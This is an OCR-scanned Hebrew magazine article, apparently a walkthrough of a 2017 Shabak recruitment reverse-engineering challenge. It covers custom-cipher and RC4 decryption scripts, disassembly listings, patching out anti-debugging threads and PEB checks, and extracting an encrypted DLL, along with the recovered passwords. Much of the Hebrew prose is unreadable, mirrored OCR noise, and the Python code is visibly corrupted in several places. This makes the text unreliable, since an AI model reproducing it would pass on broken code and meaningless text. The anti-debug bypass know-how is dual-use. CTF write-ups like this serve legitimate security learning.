need to buckle up buckaroo and implement the algorithm and decipher the
response.

D12N 7Y ynn ' N19¥NN NNon ,MegaDecryptof? TI7n NX 2IN27 0¥ NNIX NTH 72N

‘NXAn alonn

struct EncryptionStepDescriptor {
UINT8 operationCode  ;
UINT8 operationParameter ;
UINT32 lengthToOperateOn ;

2V y¥aNN WX N7 \ n'onnIRN N71YoN DX '¥n WX 2-7 0 12 190n - operationCode
.((h1o'n) Subtract-2 ,(qia'n) Add- 1 ,Xor- 0) joxinn vopLN
.(0-255 2 190n) N7 \ n'onnNIRN N7IYON YXANN 1INy 10N19N - operationParameter

2117 \ n'unnnkn N71V90 YXINNY 0'yon 1900 - lengthToOperateOn

.NIY'™® "NKXI 194 D'vopv 7y nixnaIT D"?JPYJ 1INIX NNONA N1l [DAINN 2V 7200 oy TN

s ¥ X I
"ddddaad :nxxin? x1a' ,{ {Add, 1, 4}, {Subtract, 2, 3}:hnonn gin'x¥a "ccececcectvopun
{{Add,5, 10}, {Add, 1, 5}, :nnonn q'¥a "aaaaaaaaaaeeeeehhhhhhhhhgggdhbojon

MEFERFFRFARFARFARFAFFACFAF " nxvimy nar {Subtract 2, 9}, {Subtract,1, 8} }

NI XINY 32 :XIN VOoRLN 7V 1XYW NI7IWSN 19001 30 :XIN VLORLVN 7TIAW 17 0'W7 071> DNX
TX ,00p70N 17 Y “EFFFEEFEEEFEFAEACCCCE  fffff e€” 2"3n axn% yaawdow Mmikw nn .vopLN 7TIan 71ImMA
D'IN W TIV N7¢ NPNna) NINK TN NIWA [NNXD NN DX NWWOIY KN JNIX [121NNY NN

(1Mo NnINx
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:NNY'DN 70N 7D NIR NYIY WK TN 7Y 12007 112y Nwdl
NI7ZW97? nn'knn N nnn N CD aran T atw ,Ga TIign DR AND' 070w Nioa T AR

+ [IN''92 XM NN TN INIR 'R D27 NIXIN? MIX AT XpPITY '\1'[) NN 210NN Ni‘'onnn

.(...Ga amd7 ni7xy

from ctypes import Structure, c_uint8, c¢_uint32, sizeof

# EncryptionStepDescriptor C Structure.

class EncryptionStepDescriptor (Structure):
_pack_ = True
_fields_ =

("operationCode", c_uint8),

("operationParameter", c_uint8),

("lengthToOperateOn", c_uint32)
]

# Do Logical / Math calculation on cipher text.

def do_operation(cipher, code, param eter):
if code == 0:
return cipher A parameter
elif code == 1:
return (cipher + parameter) % 256
elif code == 2:
return (cipher - parameter) % 256

# brange is bidirectional range generator.
def brange(start=0, end=30, i nc=1):
while True:
i = start
while i < end:
yield i
i+=inc

i=end

while i > start:
i -=inc
yield i

def decrypt(cipher_text, key):
cipher_text = bytearray(cipher_text)

# Create EncryptionStepDescriptors

esd_list=]

for i in xrange(0, len(key), sizeof(EncryptionStepDescriptor)):
esd_list.append(EncryptionStepDescriptor.from_buffer_copy(key][i:]))

iter_bra nge = brange(0, len(cipher_text))
for esd in esd_list:
for _in xrange(esd.lengthToOperateOn):
# Next index
index = next(iter_brange)
cipher_text[index] = do_operation(cipher_text[index], esd.operationCode,
esd.operationParameter)

return str(cipher_text)

if _name__ =='_ main__"
# Example 1
print decrypt(“cccccec”, (" \ x01\ x01\ x04\ x00\ x00\ x00"
"\ x02\ x02\ x03\ x00\ x00\ x00"))

# Example 2

print decrypt("aaaaaaaaaaeeeeehhhhhhhhhgggghh", (* \ x01\ x05\ x0a\ x00\ x00\ x00"
"\ x01\ x01\ x05\ x00\ x00\ x00"
"\ x02\ x02\ x09\ x00\ x00\ x00"
"\ x02\ x01\ x08\ x00\ x00\ x00"))

# Solution

print decrypt(open('EncryptedMessage.bin’, 'rb").read(), open(‘Key.bin', 'rb").read())

.G% Im"9 "2 NN2ann YUK |IN''9] NN Nt190 - ctypes

.(nmonnn 7n) Cnowa nian - EncryptionStepDescriptor 9
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.|9XIn VoL 7Y NAI7 \ N'VANMIX N7IWYD VIXAYT ATV N¥O - do_operation |
-1 Integer Overflow ninT? X'n 1th n72won 7w nonn ,256 oy 171Mm N21ws7 27 mw pwn n
.Cnowva > Underflow

NIXAN NI7IWoN DX Dw¥an Cnowawow X' mipn |

UINT8 a = 122;
a+=172;
printf("%d  \n", a);

(122 + 172) % 256n175) 38 100nn Dy V79 73771 ,NRAY 72177 DINA
.(N"MWUN NN 1) [9XINN VOV 7V TN 17N YN7 117 TWOR' AWK 1ILA - brange

.NN5N DY VOV 7V NIY'ON N7IYD NX NYXIN WK N'¥7I0 - decrypt

,Cnowa naiman nann from_buffer_copyn'¥jpioa win'y niX7 0710 R 1T o
.Cnowa n2im1 man 1mn nrmi Buffer nnpi? 2Zwx n'wim'w Tikn nxp19 it
ax'n EncryptionStepDescriptofrom_buffer_copy(YX01x0NAx04Ax00x00x00") n'71iven ni'7d

XAN VAN DX n4

struct EncryptionStepDescriptor {
operationCode: 1,
operationParameter 01,
lengthToOperateOn: 4

k;

7Y M10IV'RN DX 0¥ NNIXR (EncryptionStepDescriptokw nn'wn) NNonn NX 1112w NX7
N'Y72191 D'YNNYN 1INIX 1IVI0'RA XAN N2'RN DR NNPZ7 D'%N 1INIRY DS 701 (iter_brange)

.bytearray-7 ntinnnn NX 'MNN NTINNN2 WNNWNY DIpna n7NNNav 17 onnw XTIl .next

7¥ NN'WN M2 DTN DX A¥'N) NTNNN 7Y NI'ONNMIX NI71IV9 yxa7 17 "woxn bytearray
(if _name__ =="__main_) h'ux1n n71yo1 .Ni7p2 nTnnn% N1t 1Mmn'? W1woKnl (0Moson
SN0 7w DI PN NKYT P NIRNAIT IYANYA  NIFDY NR'TA7 n'2'NNY NIRN? TWON

IN2N V79N DX 72731 YaIzn DR YN
ddddaaa

cer of all times! The password for this stage is:|'Look at me I'm Mister programmer'f.

.N2N 27W7 'wnn? o1 "Look at me'Im Mister programmel naiwnn NX 0131 DRY IR 0T
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OPERATION J1J RORAMS!

- :
Ok so our operative M. Smith managed to get to R. Sanchez’ cell in/the
“prison, now he needs to transmit a message to him! Sadly the prisdn’s

systems filter all messages that get through, so we need to figure ou 3 way

to fit its scheme.

'member! now with a given encrypted message, you will need to fin
correct key

¥
You 'member the decryption algorithm from the last mission? Yesxipu
he

.001501N2 YX¥IA7 0DMX 1INIX 1'7VW NNON K77 [9XIN VOV 1727 NTH NANKA

117 Uy DIMIN NN

.0'IN 5497122 XN 9¥mn vopun

Integern 7722 (h1o'n\hian-1 XOR v 1 7 v NIy 7w Do nwi7w nnxa 17 'R
.Overflow/Underflow

2Ta nrn%? 712 X7 075n2a 7ax Unsigned Intiion ninwna aimd Dinix nwyaw Ni7von oon
V192 117 XN (2 F VORPLN 7TIA 7Y DX X'N) TN 7N NXIYW XD NP - 2 * VoRLN 7TIAN

.(IMmT7 vojpuNn NX 'TNN XORYW Mpnal Jo'N\IAN 7w Napna) 2 * 1w oy 170 NN

N DAUWNN? | - X 1 X s C N DT NANKRD NN INKY DRIYY NIYWRIN N7RUN
DX [2mMd 7 An'n L. (1770 DmiIxnyn oy 17'9X% NIPNYOK NN W N man K7 ot 7 R) Lo xp !
NN NT NN NRIY AR N9 TR (M C O T p € y)MPIRIRD ‘D Gy 112y NNWORN
NP'ANNRRA 7Y YT TR AUNNN YT MY X7) 2071 NIF DNMIYR RIXAY NI017 NNWORND Y

20K 'Oy 77 X Wplng? nnon npn 02 R TR, (72am T RN

N2 '12'0 W' ,VoPLN 7w 7T TNX Descriptorny INIX D'NAYONI VOZLN 75 7V DMAIY AINIX DX

T DX NYIYY T 21N21 IXRIA X XM VOV '71|7]W

import itertools

from pprint import pprint

from functools import partial

from multiprocessing.pool import ThreadPool

def decrypt(cypher_text, code_param):
code, param = code_param

decrypted_block = bytearray()
for ¢ in bytearray(cypher_text):
if code == 0:

dc = ¢~ param
elif code == 1:
dc = (c + param) % 256
elif code == 2:
dc=(c - param) % 256

decrypted_block.append(dc)
return (code, param), str(decrypted_block)
def gen_operations():

codes = range(2)
params = range(0, 256)
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for code, param in itertools.product(codes, params):
yield code, param

if _name__ =='_main__"
pool = ThreadPool(150)
cypher_text = open('EncryptedMessage.bin’).read()
options_list = pool.map(partial(decrypt, cypher_text), gen_operations())
pprint(dict(filter(lambda I: 1[1] != ", options_list)), indent=2)

.(LbojLN 7Y 7TIA2) TA7A TNXK NIVDMIPOT DY LORZLN NX NNIYON WK N'XjIO - decrypt |
7TA - TNXR 7TIA DY) TR Q1090 T? NIFNWORN DX X' WX 1I0NA - gen_operations |
.(N71Y9N NNIXK NRT N7'2W2 N10'N1 'MW 7NKR 12D D) 11k 0 n've (54 vojzun
07N 150 oy Nin) Poolnarxaa o''nnn nnax (if __name__=="_main_") n'wxan n7woa
N'2ND21'OX DX 1INIX 1027 .yal? )IN7 [9XINN VOZVN NX D'XIIZ NNIX PN INKY? (72PN
N'YOITINR OY pprint-a p'wnnwn nnak Qo7 (17 x0T w1 s hyment | 1. .

.N9' NOIXA NIXXINN NX 0'9Tn? 7'avwa n'nin 1w v

AN DN NIRXINN DX NIX)’J'? AYON |'VA I'WdY

Jcl
o6gh#Suhplhul #Lw #kdv+
|$vaqnnv?$l\h$\ NSST

Hipg (szuqn
O+<mn)Y{nvn

§5z1chvo’,

211'Y NN 109N NIRXIN WI7Y
De Premier. t Has On .1

y begun .2
Isl .3
De Premier. It Has Onlyxin 7700 vownn mi - 4 |70 D'y’ §UNN DRI NN DRXINN

TN INXRN DX X¥N1 7222 ¥ wio'n nx .(begun
http://www.imdb.com/character/ch0042582/quotes
:WIN'91 2IMD NIXIINA 720 10 D 21N T ATl
you should be able to decrypt the message into a readable quefe :

X7 D'IN 7'Dn DA D'YUONN 1INIRY DA NI )NR RIN D 2'9010 X7 0T 72K ,09wn 17 W' 1wy TX
:0"pIn
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http://www.imdb.com/character/ch0042582/quotes

Technologic

Is it done, YuriNo, Comrade Premier. It has only begun.

-1 D"'NON VOPLN D'RN NNIXY N 72X , TN N2 7ITA VORLAN |"TYI (*PIN X7 IN) ','-0 NN 1'0)
.[9¥IMN VOV 7w 7TIAN 712,54 NIN DTN X777 VOFLN 7w TTRNY IRY NN ,NTI 72 begun
nn'wnn NX mal s it done, YuriNo, Comrade Premier. It has only bejuwojzon nx 011m

Inannxn

*'0OU ROCH!

=] Inn'wna Tiny7 nn%xn 111220 %2
Iinnkn 1279 MavY o'pnwn pnwy proan? nth yun muiv

182 ynY 0N NP nwany

aniNl Securityn np'7nna lronSourcennana - Reverse Engineerifg ninna oy :D4D
T R N9 N YIVY IR WY NIRY 757 NN avnn fenwn 1ipny
#reversingynya Nix7w IRGhnw 0

www.cheats4gamer.ComnxXl IX 0

Jllcashall@gmail.com?'n'xn namMda IX 0

.Open Sourcanpi F5 Networksnnana ymn nnoax Jpin : RealGamg - 1 ¢ . _ x -

http://www.RealGame.co.ilvlnva'k "NX 0

realgpam3@gmail.com?»m'x o

https://github.com/realgam3:GitHub o
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mailto:llcashall@gmail.com
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Technologic

w1 s 420¥7C KT X s LY D

N7 it D4dnxn

ASN

D'77N WY 770NN MANXN NIN'O1 PNNY 0'WIR 027 'TO2 DMANK Do1O >"awn 27.4.20172

apnnn 7v DMANKY NIINNO9N NIX A'¥] AT 1NRN2A ,NIN'OI 7NN

¥ Lo L ] .1 s 41 «x X

'R |'1ﬂ'7 o's"Mx 1Al NI'MMaNN NINYA2AI jIN'Ya 0019 IYKRIN 27N ,Tomn Manx? nnim

TNXRAN NINNN NNONID D"awn YW ANKA IR YNy

J"awa mmp

MTAXM DAxMTAxMTAxMDAwM_DExMDAWMDEWMTEWMDAXMDAXMT
~AWMDAXMDEXMDEWMTEuUY29t
\ “‘ b
——

NAIMD7 12T 7¥ 19102 NNAINN WX Base647w TT'RP2 DTN W' NlIiNN2 ,JINNY |NY '9D

ANKAN [0JINKN 1QW ANKRN

Linux* = ¢ x .. 11" A

A >

base64 -d <<< MTAXMDAXMTAXMTAXMDAwWMDEXMDAwWMDEWMTEWMDAXMDAXMTAWMDAXMDEXMDEWMTEuY 29t |

NNXINN
https://10100110110100001100001011000100110000101101011.com

.("Shabak ntnnnn 7w nx1'an vn DA XNY)
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Technologic

:NNN2 D'RNY IND D'P7N 1WA D"IWn 7¢ DNANKN DWY'DIN NTN NN

THE MRTION IS
CALLIMNG oL

\
|
[ ] !
A
|
E
;
Welcome potential member, we are the Shabhacking team.
Our operative *R. Sanchez* was caught during a mission and ii;;ow
being held in an intergalactic prison. 2|

ARE YOU GOOD ENOUGH TO GET HIM OUT?
But first, you have to pick your speciality:

=
@ ‘

Airplane Homebase

RITdLA] nin's

Roman Emperor = x _ « ., %

. THAMA YOU COmE | -
REAIN"?

i
- 4
The intergalactic prison is in a secret location and we don’t know
where it is... "
We pulled some strings and found an intergalactic prison guard
program which is willing to tell us the prison’s coordinates: 8
Sadly, we don’t know how to talk to it... =3
Show us what you got and get the prison’s location.

0x10."meseeker in nwa n'7'N W' DXN NPT W' Main nY71197 0'vhanvyd yYalizn 7w a7nnna
i i i ]

N'P2'N NI DXRN PTRAY viapn At

; "%PROGRAMF ILES%\\meseeker inc™

Y2177 1WA NINNR DYDY ATN DR DT TN N7 T2N TNKY
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WY MINNX oyon 7w low time-n 2% yalpa hardcodedw low time-n 2 waonn N D'pTR
WY nINNRN oyon 7w high time-n 2% hardcodedw high time-n 7w waonn nx Dal yap?

yaue?

AN DNO AT YaIR? 1WA NINNR DYOY NTUN NIR NNYY X X7 XN0'on DR KIXxNY Nn 7y
NIY1 112Y7 DTN 'RINYT DNA7 Nan 7Y TIpa patch o'w'7l TIipa yopn NX NRYY roon ntn 7'aana

D' Rnnw 1 x32dbga runtime-a 0*7aTh N

1 81 F9 C% 00 OO0 0O cmp ecx,C9
0 ~ 72 09 jb first.E21360
04 v 77 28 ja first.E21381
b 3D 00 CO &3 2A Cmp eax, 2A&9C000
1] ~ 73 21 jae first.E21381
EIP — 8D 8C 24 30 01 00 00| 1lea ecx,dword ptr ss:[esp+120]
L ES 24 00 00 0O call first.E21350

Y9N )INQ XNO'ON NX XANYW NTNNAN DX NWSnY T yop? D'wan pn X7
d4d_decodePassOutput

XORNI71y9 Dy NTNNNN 7¢ NRY'D 1XYW XMM 7@ NI71Y97 D'yan It n'xj7aon Jim'? 0'odl ox

.ON7 XNo'on NX 0'9TNY 7'apna no'ma 1 Gy Imy'w
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:BBE213CA

:BBEZ213CH
tBBE213C7
:BBE213CA
:BBEZ213CE
tBBE213D2
:BBE213D7
:BBE213DB
:BBE213DF
tBBE213ES
:BBE213E7
:BBE213E7
:BBEZ213ET
:BBE213ED

88911887
8089116889
889116BC
8892118BE
8892118BF
889116804
8091160,
8091160,
a@a9118CH
BA89118CE
8089116CE
889116CE
8811600
8891168CF
809116801
809116802

8911807
88911807
889118DA
H891168DF

movups

add

lea

pxor xmmB , =mmi
movups

mouups  xmm@

pxor xmnf , xmmi
movups

cnp edx

jb

cnp
jnb

Great Jobt
Your password is:

Hever_Clean_DHA_Uials With_Your Spit

wOUR OEEPEST
SECRAETS

=
=

HOMEBASE team is working on deciphering the prison messaging sy
luckily for us our operatives found a program that knows the encryptio
but unfortunately the program is refusing to talk (maybe a technol

ITN NRXINYT 0'Y'an qloal

%, o mmmm o o o mm e

approach is better suited for this job since Spanish didn’t work):

We need you to*Make It Talk*

ronivix Xx¥n IDA PR& mainn'xjzaion nwiy nn 7117 7'nna

eax, [ebp

EH
_nemset

acrt_iob_func
EH
eax ebp

eax
_fgets

DX .'NY7D XNO'0 NI'N7 MIMKY wnnwn? uYp 0'0'1dN NN'RY fgets n'yja1on NX 0'RN 9i102

2DA0'N7 NDINT7 DA NN 72N0N7 MY NI AT T2 N0 NDINN DINND YN7 0D'wnn

INAY NI'Y197 AITNY 1Y TR ,N7NNNa 10909w Anti Debug nk11d w'w 9731 niaoa ndinn

.M NN 21Im2'21 main-n 194

53
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Ainit_term nwa TIZ 7w 7INNKRY NIRINK YUK DY7A19 W'Y DRI TI72 DNINK DNITIN DX

__initterm

JINZ2190 7w 07200 27'NNNY N9'R NT (IYXRIN 10NI9N DN0AND YW N7APN T NYRI9N
N'YI OW 0'RNL,NNXY n72a0n 7Y 7Onon? 0'wnn OX .N7200 NNNAY N9'R DT IWN 10N19N

7NN NINI90 7V 011 1IN ,N7202 NIYAID Y

LTI YO NANDWNAY D19 TIVI ARA'T 'OIR NYIVY NINNRD DY21190 DT ITH 07202 ["yny nn
d4d_overwriteFung'xjnaisn 7y 75non? 7'nnma

SUBROUTTIHNE ===

DN01 I'woy LIt N'X21191 YXAN'Y ANK T2 NANIDI mainn 7w TP N'X2219 NMIWN 1T N'X7119N

:nwiy d4d_antidebugThreadr¥jz1on nn v

,UXNNQ 120'N NADINN NARAT X¥N DTN ,DARAT W' DRD Imaw thread? Nk itn ntxgion

.NN201 N7¥ N'DINNY N2'ON ITI
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)2 MR NNXY N'X2219N

5 "Debugging attempt found... abortingt™

Tipn wop 212y at nnd GetTickCount64hvyjpaion oy 7Tia threadn nimna nixY? |Naw 9o
DY N'DINN DX 1107 2'nn M1 thread Ty nnon a0 niw “om 1 0 Wn nay ox

.ExitProcess'xjnion

DT AW NIYY7 TWOKR DTN ARQ'T 'OINN NN ’~]I|7U'7 Al

(DwCreationFlags 4 190n) suspench¥na ni'n? thread-7 nna? .1

HANDLE WINAPI CreateThread(
_In _opt_  LPSECURITY ATTRIBUTES l1pThreadattributes,

In_ SIZE T dwStackSize,
_In_ LPTHREAD START ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
In_ DWORD dwCreationFlags,
_Dut_opt_ LPDWORD 1pThreadId

)

v yn'w JMP niwy? Ix ret nTipon nX thread-n 7w nuwxan niwa amd1 Patchniwy? .2

.INXy
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:ret nTipon NX threada 0'w7 n'n n7apnnw n'nan

= | 00923860 C3 ret

®| 00923861 8B EC mov ebp,esp

®| 0 E B3 E4 FB and esp,FFFFFFF&

| 0 83 EC 0OC sub esp,C

| 0 53 push ebx

& 0 & push esi

& 0 8B 35 04 40 93 00 mov 251 ,dword ptr ds: [<&GetTickCounted>
|0 57 push edi

#| 0 FF D& call esi

XN0'0 0'101W NK7 .OTIpnn main nxj72197 Nl Anti Debuggingh oy TTmnn% nnrow nxY

:Nno'on 7y Hashawnnw T yop7 v

mjpon? nvan 7a1ma 0x811c9dcbviapn 7w wion 1 v ,FNVaion Hashnawnn it nwjio
:FNVA Narmv

d4d_decryptDIhr¥jza19%7 nR™M1 ND'T NRXPN W' WURNN QW'D TNKY?

; "Decrypting password.\n"

_malloc

loc 011111

loc 941111
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nN171 N2'77 DLLMwiv d4d_loadDlinyizaionw 9721 nr d4d_decryptDIhxj72197 nx1pw na'on

-0 NN NY9NY 1IY'N Y¥XANN N0NY NINNa O'RNY 193 .0yn TIY 1ITIY QY719 AR 1NN
:encodedDLL

:LoadLibraryA¥jzion narva DLLyalzn nx (1vo? n'oin d4d_loadDlihyjioa

5 "GettingSchwifty.bat™

7w Hashn DLLyalp n7a X7 D (yo X7 DLLyaipn ,nd1 nN"n X7 110100 XNO'ONY |I1I'N

.Hashn n'n nn nyT7 07 wr .DLLYaIzn X N1y 1> NN9NN KIN 11012NY XNO'oN

79X1NN 0'NA 4-0 DX NP TR, TTIZAN 19XAN DX 02 17 W' 10 2'nnn DLLyaig '8 o'y nnax
NOMXY 121N WURNN 7R y2a1 001 DLEN 7'nnn on'kw o'wiTn 0N 4-n oy XORyx2 TTimn
DLEN yaip 7w niwrn 0'na 4-n 0xE80285B50n 19xan 7w nnIwxY 0'NA 4-n .XNno'on Nifn?
iy 1 2y 0x00905A4Don

0xE80285B5 " 0x00905A4BXE892DFF8
.Nno'oN 7 111N Hashin nx 72
NIYY7 IX DTN WUXRNT Y'an7 NI0171 0119 0N Yy¥a7 NI017 0713 11nIX DLLyalzn nx 7277 nan 7y
.NTN WRNN NN 7277 "2 1aNa TN DY runtime-a "'y
,7pPNN 101N WRNNW nRY? .0XE892DFF8 nx nta wXNn NX NNY7 An'n NN TN

:NLVNY7 NIMN2 NIKN? |Naw '9> DLLyalp n7ayp
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003385970 (400 5A 90 00|03 OO OO OO|O4 OO OO OO|FF FF OO OO|MZ.......... Y. .
00338980 BS 00 00 QOO0 OO0 OO OO|40 OO0 OO OO|O00 00 00 00|  seswnns@innnnns
00228990 (00 OO0 00 OO|OO0 OO OO OO|OO0 OO0 OO OO|O00 00D 0D 00| cveenaneeennnnns
003ZE2A0 (00 00 00 QOO0 00 OO 00|00 OO0 OO0 00|08 01 00 O00) s snanssnnnnnns
0038980 |0E 1F BA OE(0O0 B4 09 CD|21 BB 01 4C|CD 21 54 68|..2.. .11 .LI!Th
Q03280 |69 73 20 70|72 6F &7 72|61 60 20 63|61 6E &E &F|is program canno
003283900 |74 200 62 65|20 72 75 GE(20 69 6E 20|44 4F 53 Z0|T be run in DOS
003389E0 (6D 6F &4 &5 (2E OD OD 0OA|24 OO0 OO0 00|00 OO0 OO OO|(mode....%.......
003383F0 | CC 21 09 54|85 40 &7 D7 |85 40 67 D7 |88 40 &7 D7 | L!...E0x.E0X.E0X
0032BA00(3C DC 96 D7 (81 40 &7 D7 |3C DC 94 D7 ([FE 40 &7 D7 | <U.x.2gw-<U.xpagx
00338410|3C DC 95 DF (20 40 &F DF (B3 1E &4 D&|99 40 &7 D7 |=U.x.2gx".d0.2gx
00328A20| B3 1E 62 D&|(9E 40 &7 D7 (B2 1E 63 D&(87 40 &7 D7 | *.bO.2gx*.cO.2gx
00338A30 (55 BF AC D7 (8B 40 &7 D7 |85 40 &6 D7 |DE 40 &7 D7 | Ui-x.2gx.2fxbagx
00338A40|1F 1E 6E D&|8A 40 &7 D7 |88 40 &7 D7 |89 40 &7 D7|..n0.E0x.E0xX. 20X
00338A5S0(1F 1E &7 D&|89 40 &7 D7 (1A 1E 98 D7 (B9 40 &7 D7 |..g0.2gx...x.20x
00338A60|1F 1E &5 D6&|(8% 40 &7 D7 (52 63 63 65|88 40 &7 D7|..ed.2gxRich.2gx
00238A70 (00 OO 00O OO|OO0 OO OO OO|50 45 OO0 OO0|4C 01 06 00| ...0uu.. EER ==y
003383A80|EA BE 00 59(00 OO0 OO0 00|00 OO0 0D OD|ED 00 02 21(&%.Y........d..!
003238A90 (0B 01 OE OO|O0O0 AC OO OO 00 82 OO OO|00 OO OO0 OO ..... i T
003Z8AA0 (5D 17 00 00|00 10 00 00|00 CO OO0 00|00 00 D0 10)| s ssnnssPAaannns

0 O O e O T T o T o N O = o i O O A O o O O T

Piper_16nwa exportedn'xjn97 o'van ,DLLyalzn NX D2yI1I0W 1NN

5 USAAAAApipeAAFlumbus_channel®

NODI77 YINN AIWNIY 0'9X¥N DTN MANXA N1 PIPEmxa 'k X PIPENIM®7 noin 1th n'xj7a1on

INQN YORYT DWIAN TN 7Y 112Y7 0D'YNANY INRY L[NN9N N vant '

; "What is cooler than being cool?"
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.0'ma 0 Ix7" pipe NnXA 'R 7721 X pipe-nn XINi77 D'0IN AT MINKI N7RY N9 W'Y 0'RIN 1INIX

.0'ma 8 N7 nom xin ReadFilentxjzaon 94

N2 NIMIRY NNLVPN NI'NIXN DX ' KRIN DN NNy

TIX 72j71 121 N'N WRNN DX ,NYIDY 71720 7V WRN D'y¥ani [N2'T2 21720 DX Ny9Y7 0'0In 9101

.Xno'on

; "Oh HMan, you need to work on work music ...

..RC4x7 n1 72x ,RC47 nniTw 1nwn Dy |9XIN D'DMIY 1INIXY XNO'0ON NIX 7'onw 198N
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Technologic

:MOXNN 7w wimmn |70

box = [1
I%for i in range (0x100):

box.append (i)
2 for i in range (0x100):

pos = (pos + ord{key[1%E2]) + box[i]) &O=xff
: tmp = box[i]
15 box[i] = box[pos]
8 box[pos] = tmp

79 k=20
B0 i in range (len{buf)):

81 tmp = {(pos 4+ 1) & Oxff

B2 pos = (box[tmp] + k) & OxEf

3 k = tmp

54 posl = (box[pos] + box[tmp]) & Oxff
85 buf[i] “~=box[posl]

print buf

NI017 IX NIIDIN RNO'07 V7723w NIIZNA 0119 LINA YXAY? IX 0T 'MY W' XN0'0N NN NyT? ']
NTNNAN 7Y 72122 X7 WI9'N NNK .NILDD NN 2071 TIpa 1727w Ditnnnn 73 7 7onon?

"What is cooler than being cool?"

NX 7377 2 ...Ice Cold nn"n 'wn 197 DY NAIYNAL MDD XY (W 1'WA DAY 1anon
8 PIN% X7 n'onY minwn IMIX ,Buffer ninwn? mipa Patchyxa? 9y n'n Ice cold nnonn

.0'Mnn

B4 Dump 1 By Dump 2 2% Dump 3 4 Dump 4 4L Dump 5 & watch 1 [x=] Locals 2# Struct

Address | Hex ASCII
0O018FAAC |43 63 65 20|43 6F &C 64|85 10 91 DEI|£& EA 18 00| ICe CCI'II:I.:..Au..

.NNO'oN NX 7">nw output-n NI [dn INKY7
;;ljlqare entering highly secure area,. please enter your password.

Great Joh!?
Your password is:

You_Pass_The_ Butter

| ——

4
]
i
]
i
i
i
]
i
]
i
i
i
]
i
]
i

~
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- .
That's it! We're at R. Sanchez’s prison cell. Only one EXE stands between him

and a Braveheart movie ending style FREEDOM! (Just without the dyingipart).
So | guess it's time to CRACK THAT LOCK! i
-

:N2N 2¥nn DX 7271 IDAQ y'oimw 193 main n'¥jai97 y'an'? no1n box ,'w'7wn 17wa
ﬁ x32dbg - File: Third.exe - PID: FEC - Module: third.exe - Thread: DE4
File View Debug Plugins Favourites Options Help Apr 25 2017
DE =0 ¥ tua@lemgsjadcrsres B Ii=efi sl
@cpu | @Graph | | 4 Log | | 1 Motes | ® Breakpoints | ¥ Memory Map | [V call Stack | =7 SEH | J¢2| Seript

00CEL1DDO 20 nop
01 a0 nop

w
[=]
]
i)
3

OO0 0000000000000C
EhshshshehsheheRhehshhehshelels

(=)
o = [ ey oy ey [y ey [y ey [y [ oy [

STIPN DR NMY V1I9nY M1 iNit_term-1 win'y nwya ,Iwn 27wa 1D NTN 27U DAY IR DT

__initterm

nnNMyn nIrxin wI7w ¢ nxaN n7a0a

-N NTY NAXKQ'T W' DRD D' T W' DIYWRIN N'Y719 Anti Debuggingh 7w nirxpaonn 7'nm
D'Ya1 NINNA D'RNVY '9) .process’? w'w mian nt (ProcessEnvironment Blockw Nixy?( ,PEB

DAKT W' IR AT Lo nTna aRarT 'R 0 nnnna fs:[30]+2%

D IX MANQ'T 'RY 2wn'y 02D 0-7 v'an R NYW7? Wwon ,ntn Anti Debugn nx qiy7? nin Yy

.ret-7 patchniwy? nwn 1%wa

ApNNnN Nanx - 2017 >"awn Nanx [Nno
www.DigitalWhisper.co.il
61 2017 4 83x I x 4 L ¥




Attributes: noreturn

_memset

D'2AT NI U TR MaR2T w'w yana L global flagsh nxk npmia ararT 'oakn YW nawn nxion
:0'P'2Tw heapw

Flag Value
FLG_HEAP_ENABLE_TAIL_CHECK ax18
FLG_HEAP_ENAEBLE_FREE_CHECK ax28
FLG_HEAP_VALIDATE_PARAMETERS | Bx4@

Total ax7e

:0x900y mainn"¥j72191 n1IwxIN 0'na 0x3000n NX D'ONIT NO DAl

_memset

RC47 nniTw ITn N19¥NN DY INIX D'NIYONY NX [ND'77 DLLyalp 0'wio n'wwn nyaioa
MYUN 27 nnim
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:MY9? ¥ MIkw DLLyalzn nxi 9¥mn DLE? nnonn nX 0'72pn 1T niimna

:NNQN MMM NIRYY [N d VirtualAllocn'yzaion NX X¥na DIN NIY190 72 7V DNAIY DR

.DLLyaipn NX 0'7'Nyn ARYPNN NN NIKT? [N1IY '9D

N D'y¥anw 1947 7orT? DLLyalpn Nk ymw? *15 010 editor-2 win'y yx¥ia DA NN NNINA

121 relocationsniawni [IND'77 17w AR7VNN
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Technologic

NMOXNN 7w DNMIA7RN oy DLLyalpn Nk n7awa nyo'w IdaPythoRa 970 21N> nNWoR w!

MYUN A7 AInY

=1 an on b W ko

=TI E)

[=JT= T )

[ L N R
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import struct

[Fldef crypt(buf, key):

tmp = 0

po= = 0O

newbuf = ""

box = []

= for i in range (0Ox100):
B box.append (i)

= for i in range (0Ox100):
pos = (pos + ord(key[i%len(kev)]) + box[i]) &Oxff
tmp = box[i]
box[i] = box[pos]

B box[pos] = tmp

E
I
(S|

in range(len(buf)):

thp = (pos2 + 1) & OxEf

pos = (box[tmpl + k) & OxIf

k = tmp

posl = (box[pos] + box[tmp]l) & Oxff
B buf[i] *=box[posl]

7 return buf
key = " xBT\RIF\R0F\REE\REB\ B\ w70\ x4\ xAT \ x TC\ xBE\xBF\ x D3\ x4B \ xEA\ D4 "
addr = ScreenfEL() #the cursor of the enrypted dll buffer
buf = "
[?for i in xrange (768): # =ize of dll in dwords
buf 4= struct.pack("<I",Dword(addr+i¥4))

fp.write (crypt (byvtearray(buf), kev))

with open{"mydll.di1l", "wk") as fp:
print "dll written to disk"

M7 Patchin'wyw mnx ,main n'¥j1197 ITn? AWK init_term-2 xxniw nn 75 NX 1NN INX7?

.NAINN2 D'RNY 1IN N7XN NnI'YIon

OOCEL1FFO c3 ret

ODCELFF1 &4 BB 35 30 00 00 00|mov esi,dword ptr J:[20]
ODCEL7FE 80 FE 02 00 cmp byte ptr ds:[esi+2],0
OOCEL1TFC ~ T4 FA je third.CE17F8

OOCE17FE &8 00 30 00 00 push 2000

OOCE1803 &8 90 00 00 00 push 20

OOCE1808 &8 00 10 CE 00 push third.CE1000
O0CE1S0OD ES8 FE 0D 0O 00 call third.CE2610
OOCE1812 83 C4 0OC add esp,C

OOCE1815 ~ EB E1 jmp third.CE17F8

OOCE1E40 C3 ret

DOCE1841 64 BB 35 30 00 00 00| mov esi,dword ptr [l :[30]
ODCE1848 F& 46 68 7O test byte ptr ds:[esi+68],70
OOCEL1S4C ~ T4 FA je third.CE1848

OOCE184E &8 00 30 00 00 push 2000

OOCE1853 &8 90 00 00 00 push %0

OOCE185 8 &8 00 10 CE 00 push third.CE1000
OOCE1B5D ES8 AE 0D 00O 00 call third.CE2610
